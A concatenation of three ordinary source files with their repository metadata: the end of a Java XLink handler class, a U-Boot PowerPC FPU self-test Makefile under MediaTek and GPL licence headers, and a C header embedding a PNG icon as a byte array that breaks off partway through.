Attributes attrs,String message) throws XLinkException {
;
}
/**
* @see java.lang.Object#hashCode()
*/
@Override
public int hashCode() {
return 1;
}
/**
* @see java.lang.Object#equals(java.lang.Object)
*/
@Override
public boolean equals(Object obj) {
if (this == obj)
return true;
if (obj == null)
return false;
if (getClass() != obj.getClass())
return false;
return true;
}
}
|
martinggww/Programming
|
XBRL/xbrl-api/module-xlink/src/main/java/org/xbrlapi/xlink/XLinkHandlerDefaultImpl.java
|
Java
|
gpl-2.0
| 5,833
|
# Copyright Statement:
#
# This software/firmware and related documentation ("MediaTek Software") are
# protected under relevant copyright laws. The information contained herein
# is confidential and proprietary to MediaTek Inc. and/or its licensors.
# Without the prior written permission of MediaTek inc. and/or its licensors,
# any reproduction, modification, use or disclosure of MediaTek Software,
# and information contained herein, in whole or in part, shall be strictly prohibited.
#
# MediaTek Inc. (C) 2010. All rights reserved.
#
# BY OPENING THIS FILE, RECEIVER HEREBY UNEQUIVOCALLY ACKNOWLEDGES AND AGREES
# THAT THE SOFTWARE/FIRMWARE AND ITS DOCUMENTATIONS ("MEDIATEK SOFTWARE")
# RECEIVED FROM MEDIATEK AND/OR ITS REPRESENTATIVES ARE PROVIDED TO RECEIVER ON
# AN "AS-IS" BASIS ONLY. MEDIATEK EXPRESSLY DISCLAIMS ANY AND ALL WARRANTIES,
# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE IMPLIED WARRANTIES OF
# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE OR NONINFRINGEMENT.
# NEITHER DOES MEDIATEK PROVIDE ANY WARRANTY WHATSOEVER WITH RESPECT TO THE
# SOFTWARE OF ANY THIRD PARTY WHICH MAY BE USED BY, INCORPORATED IN, OR
# SUPPLIED WITH THE MEDIATEK SOFTWARE, AND RECEIVER AGREES TO LOOK ONLY TO SUCH
# THIRD PARTY FOR ANY WARRANTY CLAIM RELATING THERETO. RECEIVER EXPRESSLY ACKNOWLEDGES
# THAT IT IS RECEIVER'S SOLE RESPONSIBILITY TO OBTAIN FROM ANY THIRD PARTY ALL PROPER LICENSES
# CONTAINED IN MEDIATEK SOFTWARE. MEDIATEK SHALL ALSO NOT BE RESPONSIBLE FOR ANY MEDIATEK
# SOFTWARE RELEASES MADE TO RECEIVER'S SPECIFICATION OR TO CONFORM TO A PARTICULAR
# STANDARD OR OPEN FORUM. RECEIVER'S SOLE AND EXCLUSIVE REMEDY AND MEDIATEK'S ENTIRE AND
# CUMULATIVE LIABILITY WITH RESPECT TO THE MEDIATEK SOFTWARE RELEASED HEREUNDER WILL BE,
# AT MEDIATEK'S OPTION, TO REVISE OR REPLACE THE MEDIATEK SOFTWARE AT ISSUE,
# OR REFUND ANY SOFTWARE LICENSE FEES OR SERVICE CHARGE PAID BY RECEIVER TO
# MEDIATEK FOR SUCH MEDIATEK SOFTWARE AT ISSUE.
#
# The following software/firmware and/or related documentation ("MediaTek Software")
# have been modified by MediaTek Inc. All revisions are subject to any receiver's
# applicable license agreements with MediaTek Inc.
#
# (C) Copyright 2007
# Wolfgang Denk, DENX Software Engineering, wd@denx.de.
#
# See file CREDITS for list of people who contributed to this
# project.
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 2 of
# the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston,
# MA 02111-1307 USA
#
include $(TOPDIR)/config.mk
LIB = libpost$(ARCH)fpu.a
COBJS-$(CONFIG_HAS_POST) += fpu.o 20001122-1.o 20010114-2.o 20010226-1.o 980619-1.o
COBJS-$(CONFIG_HAS_POST) += acc1.o compare-fp-1.o mul-subnormal-single-1.o
include $(TOPDIR)/post/rules.mk
CFLAGS := $(shell echo $(CFLAGS) | sed s/-msoft-float//)
CFLAGS += -mhard-float -fkeep-inline-functions
|
luckasfb/OT_903D-kernel-2.6.35.7
|
bootable/bootloader/uboot/post/lib_powerpc/fpu/Makefile
|
Makefile
|
gpl-2.0
| 3,395
|
#ifndef PICON_PNG_H
#define PICON_PNG_H
static unsigned char picon_png[] =
{
0x00, 0x00, 0x09, 0xb0,
0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a, 0x00, 0x00, 0x00, 0x0d, 0x49, 0x48, 0x44, 0x52,
0x00, 0x00, 0x00, 0x32, 0x00, 0x00, 0x00, 0x32, 0x08, 0x02, 0x00, 0x00, 0x00, 0x91, 0x5d, 0x1f,
0xe6, 0x00, 0x00, 0x00, 0x09, 0x70, 0x48, 0x59, 0x73, 0x00, 0x00, 0x0a, 0xf0, 0x00, 0x00, 0x0a,
0xf0, 0x01, 0x42, 0xac, 0x34, 0x98, 0x00, 0x00, 0x00, 0x07, 0x74, 0x49, 0x4d, 0x45, 0x07, 0xdf,
0x02, 0x01, 0x12, 0x24, 0x3b, 0xb2, 0x81, 0x4f, 0xc3, 0x00, 0x00, 0x09, 0x4f, 0x49, 0x44, 0x41,
0x54, 0x58, 0xc3, 0xed, 0x59, 0x6b, 0x8c, 0x5d, 0x55, 0x15, 0xfe, 0xd6, 0xda, 0xfb, 0x9c, 0x73,
0x1f, 0xf3, 0xe8, 0x94, 0x69, 0x67, 0xa6, 0xb5, 0x9d, 0x02, 0x35, 0x83, 0xd2, 0xd2, 0x62, 0x83,
0x68, 0x01, 0xb5, 0x44, 0x62, 0x62, 0x43, 0x89, 0x1a, 0x22, 0x09, 0x69, 0x62, 0x30, 0x12, 0x45,
0x12, 0xc2, 0x3f, 0x15, 0xc5, 0x07, 0x3e, 0x12, 0x13, 0x31, 0x21, 0x4a, 0x94, 0x60, 0xc0, 0x92,
0x12, 0x8a, 0x28, 0x2f, 0x05, 0x8b, 0x45, 0x28, 0x58, 0xa4, 0x2d, 0x4d, 0x2d, 0xaf, 0xc2, 0xf0,
0x6a, 0x4b, 0xa7, 0xed, 0x74, 0x9c, 0x76, 0x7a, 0x67, 0xe6, 0xce, 0xbd, 0xf7, 0x9c, 0xbd, 0x96,
0x3f, 0xce, 0xb9, 0x8f, 0xb9, 0x73, 0xef, 0xed, 0x0c, 0x3f, 0x1a, 0x7e, 0x78, 0x72, 0x32, 0xb9,
0xe7, 0xcc, 0xb9, 0x67, 0x7f, 0xfb, 0x5b, 0xdf, 0xfa, 0xd6, 0xda, 0xfb, 0xd2, 0xfa, 0xf5, 0xeb,
0xf1, 0xe1, 0x3b, 0x18, 0x1f, 0xca, 0xe3, 0x43, 0x0a, 0xcb, 0xce, 0xbc, 0xa5, 0x4a, 0x7a, 0xe6,
0xe9, 0x99, 0x3e, 0x66, 0x03, 0x58, 0x99, 0xa0, 0xd4, 0x96, 0x0a, 0x09, 0x67, 0x0e, 0x9b, 0x73,
0x66, 0x2c, 0xef, 0x47, 0xca, 0xd4, 0x10, 0x96, 0x2a, 0xfa, 0xcf, 0x3a, 0x75, 0xfd, 0x15, 0x07,
0x56, 0xaf, 0xc8, 0x22, 0xc8, 0x9e, 0x29, 0x54, 0x5a, 0x18, 0x1d, 0x7d, 0x68, 0x7b, 0xf0, 0xf0,
0xee, 0x73, 0x0a, 0x91, 0x47, 0xa4, 0xf5, 0xb0, 0x44, 0x74, 0xc3, 0x27, 0xde, 0x5f, 0xbd, 0xca,
0xc2, 0x11, 0xa6, 0xa6, 0xe6, 0xfc, 0x7e, 0x02, 0x58, 0x21, 0x73, 0x25, 0x5a, 0x52, 0x1d, 0x99,
0x2f, 0x7f, 0x36, 0x37, 0x38, 0x34, 0xb2, 0xf3, 0xc0, 0x62, 0xcf, 0xcc, 0x84, 0xa5, 0xe8, 0x59,
0x30, 0x89, 0xb0, 0x80, 0xfc, 0xc4, 0x07, 0x99, 0x36, 0x61, 0xd7, 0x9b, 0xed, 0x17, 0x2c, 0x1b,
0x4f, 0x05, 0x98, 0x03, 0x32, 0x05, 0x8c, 0xf1, 0xbd, 0xb6, 0xae, 0x8e, 0x92, 0x08, 0x60, 0x1a,
0x65, 0xa2, 0xaa, 0x20, 0x9a, 0x00, 0x23, 0x39, 0x69, 0xd6, 0x67, 0x1a, 0x77, 0x6d, 0x5d, 0xfa,
0x9d, 0x4d, 0xe7, 0x6d, 0x7a, 0x76, 0x89, 0x28, 0xb5, 0x7a, 0xb2, 0xee, 0xe5, 0x0c, 0xa8, 0xd3,
0x68, 0x5c, 0xa9, 0x95, 0xe4, 0x29, 0x81, 0x4a, 0x73, 0xe1, 0x29, 0x85, 0xdf, 0xfc, 0xa9, 0x7f,
0xf3, 0xb3, 0xbd, 0xa2, 0xb8, 0x7b, 0xeb, 0xe2, 0x74, 0x20, 0x1b, 0xd7, 0x0d, 0xb5, 0x8a, 0x75,
0x4c, 0x12, 0xd5, 0xdc, 0xd1, 0xd3, 0xfa, 0x16, 0xcd, 0x05, 0x13, 0x01, 0x8c, 0xbb, 0x1e, 0x5d,
0xb2, 0xf9, 0xd9, 0x5e, 0x05, 0x88, 0xc0, 0xac, 0xbf, 0xfc, 0x73, 0xff, 0x83, 0xcf, 0xf7, 0x9d,
0x66, 0x6e, 0x34, 0xc3, 0x40, 0xb5, 0xa5, 0x41, 0x80, 0x2d, 0x10, 0xd5, 0x8e, 0x5a, 0x28, 0x72,
0xa1, 0x64, 0x1a, 0x0b, 0x43, 0xf1, 0xd8, 0xce, 0x85, 0x7f, 0xdc, 0xb6, 0x48, 0x6a, 0x06, 0xca,
0x06, 0xee, 0xb6, 0x2d, 0x67, 0x17, 0x23, 0xbe, 0xea, 0xd3, 0xc3, 0x2a, 0x0d, 0x5c, 0xb0, 0x33,
0x1b, 0x12, 0x03, 0x52, 0x81, 0x48, 0xe0, 0xa0, 0xa5, 0x6f, 0x91, 0x01, 0x77, 0x80, 0x4e, 0xc4,
0x83, 0xa8, 0xe0, 0xe5, 0x77, 0xdb, 0xff, 0xb2, 0xa3, 0x27, 0x37, 0x69, 0xe3, 0x9c, 0xa8, 0x3b,
0x8a, 0xa1, 0x79, 0xfd, 0x50, 0xb6, 0x18, 0x12, 0xb3, 0x2a, 0x50, 0x71, 0x9e, 0x6c, 0xe0, 0xee,
0x78, 0x6c, 0xc9, 0xee, 0xc1, 0x0e, 0x6b, 0x54, 0x67, 0xcc, 0xa4, 0xbf, 0x67, 0x6a, 0xe3, 0xe5,
0x47, 0xba, 0x3b, 0xc3, 0x84, 0x21, 0x62, 0x50, 0x47, 0x2d, 0x5d, 0xb6, 0x41, 0x39, 0xa2, 0x0c,
0xe8, 0x44, 0x7c, 0x31, 0x59, 0xb4, 0xb7, 0x6e, 0x3a, 0xf7, 0xd0, 0x48, 0x3a, 0x76, 0xff, 0x79,
0x6d, 0xa1, 0xea, 0x34, 0xf6, 0x89, 0xd4, 0x5a, 0xed, 0xb4, 0x2e, 0x1e, 0x6f, 0x6c, 0xd2, 0x7a,
0x46, 0x88, 0x00, 0xc0, 0xb0, 0xbe, 0xb0, 0xbf, 0xb3, 0x21, 0xc7, 0xcf, 0xbf, 0xda, 0x75, 0x78,
0x24, 0xf8, 0xd5, 0x8d, 0x83, 0x28, 0x95, 0x61, 0x71, 0x5b, 0x6b, 0x97, 0x2f, 0xf3, 0x49, 0x00,
0x30, 0x72, 0xca, 0xbe, 0x7d, 0x34, 0x9b, 0xf6, 0xdd, 0xf2, 0xc5, 0xf9, 0x5f, 0x5f, 0x3f, 0xd8,
0x99, 0x0d, 0xb5, 0x65, 0xe6, 0xff, 0xe7, 0xdd, 0x8e, 0xef, 0xdd, 0xb3, 0xbc, 0x50, 0xe2, 0x18,
0x99, 0x35, 0xcd, 0x9e, 0xd6, 0x7d, 0xef, 0x75, 0x48, 0x01, 0x6c, 0x62, 0x8e, 0x08, 0x94, 0x6a,
0xcd, 0x16, 0x81, 0x82, 0x1a, 0x55, 0x12, 0x80, 0xd0, 0xd1, 0xba, 0x0b, 0x4e, 0x2c, 0xec, 0x2a,
0x1a, 0x3e, 0x8d, 0x1d, 0xad, 0x58, 0x36, 0xbe, 0xe6, 0xa3, 0xb9, 0xe7, 0x5e, 0xe9, 0x6a, 0x0e,
0xa8, 0x1a, 0x4a, 0x10, 0x21, 0x16, 0x1e, 0xc7, 0xb0, 0xf2, 0xcd, 0x33, 0x51, 0x18, 0xec, 0x4f,
0xb3, 0x19, 0x8d, 0x23, 0x52, 0xef, 0x3d, 0xb9, 0xbc, 0x1d, 0x1a, 0x4d, 0x09, 0xea, 0x6d, 0x89,
0xe6, 0x94, 0xc5, 0x54, 0xd1, 0x56, 0x50, 0x9b, 0x9c, 0x33, 0x61, 0x11, 0xc8, 0x9f, 0x99, 0xd8,
0xc9, 0xdc, 0x3d, 0x20, 0x03, 0xa4, 0x81, 0x4e, 0xdc, 0xff, 0x4c, 0xdf, 0x2d, 0xf7, 0x2c, 0x2f,
0x85, 0x06, 0x59, 0x20, 0x0d, 0x64, 0xe6, 0xe8, 0x2c, 0x40, 0xa2, 0x52, 0x8a, 0x69, 0xf3, 0xa0,
0x2d, 0x82, 0xe8, 0x08, 0xe4, 0x81, 0xaa, 0xee, 0x50, 0x95, 0x1c, 0xeb, 0x3f, 0x76, 0x76, 0x3f,
0xbc, 0x63, 0x41, 0xca, 0x17, 0xcb, 0xfa, 0xd2, 0x5b, 0x1d, 0xe3, 0x79, 0x7b, 0xd3, 0x9d, 0x03,
0x6d, 0x19, 0x27, 0x82, 0x52, 0xc8, 0xb7, 0x7f, 0xeb, 0x4d, 0x9a, 0x1b, 0xb2, 0x72, 0x10, 0x63,
0xe5, 0xd4, 0x78, 0x4c, 0x43, 0x58, 0x7e, 0x15, 0x56, 0xed, 0x3b, 0x18, 0x85, 0x90, 0xdf, 0x3e,
0x92, 0x1d, 0xcf, 0x1b, 0x82, 0xf6, 0xcc, 0x0f, 0xbb, 0xda, 0xa2, 0x83, 0xc3, 0xe9, 0xd1, 0x71,
0x2f, 0x1b, 0xb8, 0xf9, 0x1d, 0x11, 0x1b, 0xad, 0xf8, 0xdd, 0xac, 0x40, 0x55, 0x83, 0x08, 0xc0,
0xaf, 0xb5, 0x9f, 0x19, 0xb0, 0x04, 0x20, 0x5b, 0x0f, 0x4b, 0x01, 0x82, 0x53, 0xba, 0xf2, 0xd2,
0xe3, 0x57, 0xae, 0x3d, 0xfe, 0xd3, 0xfb, 0xce, 0xd9, 0xbe, 0x6f, 0xfe, 0x03, 0x3f, 0xd8, 0x17,
0xa4, 0xe5, 0xc9, 0x1d, 0xdd, 0x37, 0xdf, 0x39, 0x70, 0xc7, 0x8d, 0x6f, 0xac, 0x19, 0xc8, 0x15,
0x4a, 0xf6, 0xe4, 0x84, 0x9d, 0x98, 0x32, 0x89, 0xa2, 0x9b, 0x41, 0xa9, 0x5e, 0x68, 0x79, 0x20,
0x02, 0x3c, 0x38, 0x6a, 0x0a, 0x4b, 0x85, 0x41, 0x5e, 0xd3, 0x12, 0x21, 0x80, 0xc5, 0x25, 0x2b,
0xc7, 0xfe, 0xfa, 0xe2, 0x82, 0xfb, 0x9f, 0xee, 0xdb, 0xb0, 0x76, 0x64, 0xf3, 0xb6, 0xbe, 0xb3,
0x7b, 0x0b, 0x77, 0x3f, 0xb1, 0xf8, 0x87, 0xf7, 0x2e, 0xef, 0xe9, 0x2a, 0x11, 0x21, 0xe5, 0xbb,
0x8b, 0xce, 0xcb, 0x35, 0xc4, 0x34, 0x55, 0xe4, 0x03, 0xc7, 0xd2, 0x53, 0x25, 0xa6, 0x06, 0x60,
0xfd, 0x56, 0xda, 0xd2, 0x28, 0x0e, 0x22, 0x97, 0xe7, 0x65, 0x13, 0xb9, 0x93, 0x01, 0xf9, 0x60,
0x85, 0xe0, 0x33, 0xab, 0x27, 0xbf, 0x78, 0xf1, 0xc9, 0x7b, 0x9e, 0x5c, 0xf4, 0xca, 0x7b, 0xed,
0x07, 0x8f, 0xa7, 0xd7, 0x5d, 0x78, 0x6a, 0xd7, 0xfe, 0xb6, 0x9f, 0x7d, 0xe3, 0xc0, 0x45, 0x2b,
0xc7, 0x5a, 0x47, 0xad, 0x30, 0xe9, 0xdd, 0xb6, 0x69, 0xe9, 0xd6, 0x5d, 0x5d, 0xd6, 0x28, 0x08,
0xe5, 0x17, 0x2a, 0xc8, 0x02, 0x5e, 0xb5, 0x16, 0xd5, 0xc3, 0x22, 0x38, 0x07, 0x50, 0x0a, 0x94,
0x29, 0x2b, 0x31, 0x55, 0xfe, 0x9f, 0x97, 0xdc, 0x64, 0x35, 0x6d, 0x72, 0xc5, 0x45, 0xf9, 0x6d,
0x7b, 0xe6, 0x3d, 0xb3, 0x77, 0xde, 0xf9, 0xcb, 0x0a, 0xab, 0x97, 0x17, 0x0f, 0x0e, 0xa7, 0x57,
0x9e, 0x23, 0x08, 0xdb, 0x6b, 0x8a, 0x45, 0x39, 0x40, 0x35, 0x5d, 0x61, 0x2a, 0xa3, 0x4b, 0x16,
0x4a, 0xb9, 0xa9, 0x22, 0x50, 0x06, 0x50, 0x90, 0x82, 0x32, 0x80, 0xa7, 0xd2, 0xdc, 0xe5, 0xc5,
0x31, 0x28, 0x48, 0xd0, 0x50, 0x6c, 0xad, 0x0a, 0x28, 0x60, 0x81, 0x34, 0x58, 0xdf, 0x1f, 0xb6,
0x0f, 0xfe, 0xb3, 0x7d, 0xeb, 0xee, 0xec, 0x64, 0x91, 0x97, 0xf5, 0x45, 0x6f, 0x1c, 0x0a, 0x6e,
0x7f, 0x70, 0x61, 0x77, 0xa7, 0x13, 0xa4, 0x41, 0x52, 0xb1, 0x9d, 0xc3, 0xc3, 0x76, 0xb2, 0x40,
0x9e, 0xc1, 0xa2, 0xee, 0x28, 0xe5, 0x6b, 0x8d, 0x8b, 0xd6, 0x8c, 0x48, 0x69, 0x90, 0x02, 0x0a,
0x4a, 0xa9, 0x78, 0x22, 0x4a, 0x4d, 0x61, 0x09, 0x00, 0x1f, 0x14, 0x24, 0x35, 0x01, 0x7e, 0xe5,
0x49, 0x36, 0xc1, 0xce, 0xd7, 0xfd, 0xaf, 0xfd, 0x7c, 0x7e, 0x67, 0x56, 0xfa, 0x7b, 0xdd, 0x2f,
0xae, 0x3f, 0xb1, 0xe6, 0xfc, 0xd2, 0xe6, 0xbf, 0x67, 0xef, 0x7e, 0x3c, 0xab, 0x1a, 0x4f, 0x46,
0x62, 0x4c, 0x63, 0xa7, 0xf8, 0x9a, 0x1f, 0x2d, 0xc8, 0x17, 0x08, 0xc0, 0xcd, 0x5f, 0x1d, 0xdf,
0xb8, 0x7e, 0x32, 0xc9, 0x50, 0x02, 0xc8, 0xd4, 0xc8, 0xd6, 0x07, 0x01, 0xaa, 0xa0, 0x00, 0x6a,
0xa5, 0x99, 0x41, 0x10, 0xe0, 0x62, 0x83, 0x80, 0x0f, 0x52, 0x10, 0x83, 0xaa, 0xda, 0x12, 0xf5,
0xd6, 0x0c, 0xe8, 0xb7, 0xbf, 0x34, 0x75, 0xde, 0xd2, 0xe8, 0xf3, 0x17, 0x17, 0xc1, 0x40, 0xe4,
0x5f, 0xbb, 0xa1, 0xb8, 0x74, 0x21, 0x7e, 0xff, 0x68, 0x1a, 0xf0, 0x92, 0x27, 0xad, 0x3e, 0xbd,
0x27, 0x05, 0xa0, 0x2d, 0xa3, 0xf9, 0x02, 0x5e, 0x7e, 0xdb, 0x1f, 0xcf, 0x45, 0xed, 0x59, 0x85,
0x26, 0x0d, 0x72, 0xcd, 0x78, 0x3e, 0x00, 0x90, 0x00, 0xbe, 0xc0, 0xa2, 0x45, 0x10, 0x35, 0x8a,
0xed, 0xd4, 0x2f, 0x07, 0xd1, 0x96, 0x0d, 0x99, 0x41, 0xbe, 0x35, 0xb8, 0xf1, 0xda, 0x10, 0x42,
0x88, 0x02, 0x38, 0x80, 0x80, 0x10, 0x99, 0x94, 0x51, 0x90, 0xc6, 0x33, 0x01, 0xe0, 0xf0, 0xdc,
0xcb, 0x41, 0xa1, 0x84, 0xab, 0x2f, 0x8f, 0x5e, 0x7c, 0xd5, 0xec, 0x19, 0xf4, 0x8e, 0x9e, 0x08,
0xda, 0xdb, 0xa4, 0x9c, 0xd7, 0xa6, 0x5a, 0x92, 0x13, 0x83, 0x14, 0x90, 0xaf, 0xea, 0x89, 0x34,
0xeb, 0x4e, 0x15, 0x4e, 0x00, 0x18, 0x90, 0x4d, 0xb2, 0xa3, 0x3c, 0x39, 0x36, 0x0c, 0x58, 0x90,
0x45, 0xc9, 0x43, 0x64, 0x93, 0xcf, 0x64, 0x01, 0xab, 0x64, 0xc6, 0x26, 0x58, 0xd5, 0x82, 0x2c,
0x8c, 0x7d, 0xf3, 0xa0, 0x7f, 0xf0, 0x18, 0x3b, 0x87, 0x8d, 0x5f, 0x90, 0xb5, 0x2b, 0xe5, 0xc8,
0x7f, 0x79, 0xef, 0xa0, 0x27, 0x52, 0x79, 0xbe, 0xa6, 0x6e, 0x54, 0x46, 0x61, 0x0f, 0xe0, 0xe6,
0xb0, 0x00, 0x71, 0x71, 0xcb, 0xe5, 0x25, 0x27, 0x2c, 0xa0, 0xd6, 0xe0, 0xa5, 0x37, 0x0c, 0xb3,
0x85, 0x37, 0xe3, 0xf4, 0xad, 0x17, 0x77, 0x7a, 0x6c, 0x62, 0x58, 0x7b, 0x07, 0xcd, 0x91, 0x11,
0x1a, 0xe8, 0xc7, 0xa2, 0x7e, 0x73, 0xe9, 0x2a, 0xb2, 0x46, 0x9f, 0xda, 0x65, 0x42, 0x57, 0x86,
0x55, 0xeb, 0xa7, 0xf1, 0x1d, 0xb6, 0x80, 0x55, 0x45, 0xeb, 0x4c, 0x8c, 0xeb, 0xb9, 0x0f, 0x55,
0x10, 0xc5, 0xed, 0xa6, 0x67, 0xb1, 0xf3, 0x35, 0xfa, 0xca, 0x2d, 0xa6, 0xa7, 0xab, 0x81, 0x6b,
0x1f, 0x3f, 0x89, 0xd1, 0x5c, 0x5c, 0xc6, 0x31, 0x9e, 0xc3, 0xde, 0x41, 0x75, 0xa2, 0x43, 0x23,
0xb8, 0xe1, 0xc7, 0x66, 0x74, 0x1c, 0x69, 0x1f, 0xbb, 0x5e, 0xa7, 0x63, 0x27, 0xbc, 0xfe, 0xbe,
0x4a, 0xc5, 0xa8, 0x24, 0xa6, 0x9f, 0x5c, 0x92, 0x27, 0xa2, 0xaa, 0xcd, 0x7d, 0x4b, 0xe2, 0x4e,
0x25, 0xce, 0x97, 0x64, 0x66, 0x2e, 0x46, 0xf6, 0xfe, 0x30, 0x0e, 0x1d, 0x6b, 0xb2, 0x83, 0xc0,
0x00, 0x59, 0x30, 0x8e, 0x8e, 0xea, 0xbe, 0xb7, 0x22, 0x22, 0xb4, 0x67, 0xe9, 0xbd, 0x63, 0x20,
0x20, 0x93, 0xd6, 0x30, 0xc2, 0x23, 0xcf, 0xd1, 0x4d, 0xd7, 0x1a, 0x28, 0x40, 0x2e, 0x7e, 0x21,
0x00, 0x25, 0x03, 0x4a, 0xf2, 0x40, 0x95, 0xb4, 0x45, 0xa9, 0x16, 0x07, 0x28, 0x97, 0x95, 0x1e,
0x57, 0xf8, 0x28, 0xd1, 0x2a, 0x37, 0x6d, 0xe8, 0x34, 0x49, 0x55, 0x7a, 0xf5, 0x9d, 0x68, 0x68,
0x44, 0x17, 0x2d, 0xa0, 0x5b, 0xbf, 0x1e, 0x64, 0x53, 0x44, 0x84, 0x47, 0xb6, 0x87, 0x8f, 0x6e,
0x8f, 0x1e, 0xff, 0x97, 0xdc, 0x74, 0x4d, 0x00, 0x13, 0x83, 0x70, 0xe5, 0x97, 0x1b, 0x10, 0x01,
0x1a, 0xb3, 0x50, 0xcb, 0x16, 0xd7, 0x35, 0x55, 0x89, 0xb6, 0xe0, 0x97, 0xf3, 0xd1, 0x9b, 0x75,
0x43, 0xe0, 0x15, 0x43, 0xbb, 0x65, 0x5b, 0x94, 0xcb, 0xcb, 0x25, 0xab, 0xbc, 0x4f, 0x9e, 0x1f,
0xac, 0x1c, 0xf0, 0x57, 0x7c, 0xdc, 0xbf, 0xec, 0x42, 0xdf, 0xf3, 0x70, 0xf0, 0xa8, 0xfb, 0xdb,
0x0e, 0x85, 0xef, 0x4f, 0x1f, 0x31, 0x28, 0x8b, 0xd8, 0x57, 0x69, 0xa9, 0x2d, 0x57, 0x09, 0xa2,
0x6a, 0x4d, 0x65, 0x9c, 0x4d, 0x9b, 0x62, 0x03, 0x8f, 0x7e, 0xf2, 0xcd, 0xf6, 0xdc, 0xa4, 0x2e,
0x5f, 0x62, 0x98, 0x19, 0x02, 0x94, 0xf0, 0xa9, 0x95, 0xe6, 0x0f, 0xdf, 0xf7, 0xa6, 0x4a, 0x58,
0xd2, 0x43, 0x88, 0x0c, 0x88, 0xab, 0x2b, 0x57, 0xf6, 0x93, 0x95, 0x1f, 0x59, 0x55, 0x52, 0x05,
0x35, 0xf7, 0xad, 0x18, 0x96, 0x07, 0x28, 0x88, 0x40, 0x6e, 0xb6, 0xbb, 0x09, 0x64, 0xd8, 0xd0,
0xc0, 0xd9, 0xa6, 0xa6, 0x97, 0x05, 0x80, 0xc0, 0xc7, 0xc7, 0xce, 0xb5, 0xd3, 0x16, 0xbb, 0x55,
0x83, 0x30, 0xd5, 0xa6, 0x79, 0x7a, 0x10, 0x67, 0xb0, 0xa5, 0xb1, 0x41, 0xd8, 0xf8, 0x8b, 0x0a,
0xe8, 0xb4, 0x65, 0x79, 0x93, 0x3d, 0x17, 0x51, 0xc0, 0xc2, 0x9a, 0xd3, 0x76, 0xa3, 0xa2, 0x5c,
0x56, 0xa4, 0x02, 0x9c, 0x90, 0x47, 0x1e, 0x54, 0x9b, 0x06, 0x91, 0x12, 0x83, 0x20, 0x90, 0x8d,
0x97, 0x26, 0x6d, 0x19, 0x0a, 0x7c, 0x12, 0x01, 0x73, 0xab, 0x26, 0x53, 0x04, 0xf7, 0x3d, 0x31,
0xb9, 0x76, 0x55, 0xda, 0x70, 0xab, 0xbd, 0x9a, 0x91, 0x31, 0xb7, 0xfb, 0xb5, 0xa2, 0x31, 0xe4,
0x04, 0xd9, 0x34, 0x9b, 0xc0, 0x20, 0x8a, 0xb9, 0x65, 0x05, 0xb5, 0x62, 0x4b, 0x25, 0x6e, 0xfd,
0x39, 0x5e, 0x2f, 0x9c, 0x35, 0xcf, 0xdc, 0x70, 0x75, 0xd7, 0xef, 0x1e, 0x3a, 0x39, 0x31, 0xa5,
0xad, 0x64, 0xa6, 0xf8, 0xed, 0x96, 0xb1, 0x2d, 0x4f, 0x8d, 0x73, 0xcb, 0xbd, 0xad, 0x42, 0x51,
0x4f, 0x4d, 0x88, 0xaa, 0xf6, 0x75, 0x7b, 0xdf, 0xbd, 0xae, 0x3b, 0x29, 0x21, 0xa4, 0x20, 0x13,
0x07, 0xa5, 0x39, 0x2c, 0xad, 0xf8, 0x96, 0x02, 0x30, 0x06, 0xd7, 0x5d, 0xd5, 0xb5, 0xe1, 0x73,
0xed, 0xb9, 0x09, 0x99, 0xcd, 0x46, 0xd5, 0x6c, 0xd6, 0x60, 0x20, 0xf4, 0x75, 0xdb, 0x6c, 0x9a,
0x6b, 0x1a, 0xff, 0x7a, 0x45, 0xce, 0x64, 0x4b, 0xd4, 0x31, 0xf9, 0x8b, 0xa1, 0x11, 0xc4, 0x01,
0x91, 0x31, 0xae, 0x67, 0x81, 0xeb, 0x59, 0x58, 0xc9, 0xe0, 0x1a, 0xbd, 0x55, 0x17, 0x05, 0x73,
0xd9, 0xff, 0xa3, 0xca, 0xa2, 0x21, 0x4e, 0x4a, 0x82, 0xd7, 0x2b, 0xc5, 0xb1, 0xe6, 0x4d, 0x33,
0xc1, 0x4d, 0x4d, 0xe4, 0xf6, 0xbd, 0xd0, 0x71, 0xe1, 0x65, 0x64, 0x19, 0x46, 0xa0, 0x02, 0x75,
0x71, 0x68, 0x11, 0xcb, 0x52, 0x05, 0xaa, 0x80, 0x94, 0xb7, 0xa4, 0x15, 0xaa, 0xd3, 0x4b, 0x4a,
0x3d, 0xd0, 0x4a, 0xf4, 0xa9, 0x76, 0xe5, 0x52, 0xed, 0xbb, 0x52, 0x92, 0xd7, 0xfc, 0xfe, 0x6d,
0x30, 0xb6, 0x79, 0x4d, 0x2c, 0x95, 0x46, 0x5e, 0x7a, 0x0a, 0x93, 0xfb, 0xdb, 0x7b, 0x02, 0xce,
0x28, 0x94, 0xe0, 0x00, 0x07, 0x75, 0x10, 0x07, 0xe7, 0xa0, 0x8e, 0x9c, 0x83, 0x08, 0x54, 0x20,
0x02, 0x71, 0x50, 0x45, 0x5d, 0xa1, 0x25, 0x02, 0x11, 0x88, 0x41, 0x0c, 0x8e, 0x4f, 0x03, 0x66,
0xb0, 0x4d, 0xfe, 0x12, 0x83, 0x0c, 0x60, 0x00, 0x03, 0x2d, 0x60, 0xf2, 0xc8, 0xe8, 0xc4, 0xe1,
0x61, 0xd0, 0x8a, 0xa6, 0xb0, 0x22, 0x47, 0x5a, 0x0a, 0xc3, 0xd1, 0x77, 0x11, 0x00, 0x02, 0x38,
0x20, 0x02, 0x22, 0x48, 0x88, 0x28, 0x82, 0x0b, 0xe1, 0xa2, 0xf2, 0x07, 0x07, 0x17, 0xc2, 0x09,
0x5c, 0x04, 0x71, 0x10, 0x57, 0x46, 0x46, 0x09, 0x0e, 0x63, 0x93, 0xd3, 0x5a, 0xb0, 0x81, 0xf1,
0x60, 0xe3, 0x4b, 0x0f, 0xc6, 0x02, 0x95, 0xbe, 0x29, 0x0f, 0x97, 0x83, 0x84, 0x5c, 0x2a, 0x32,
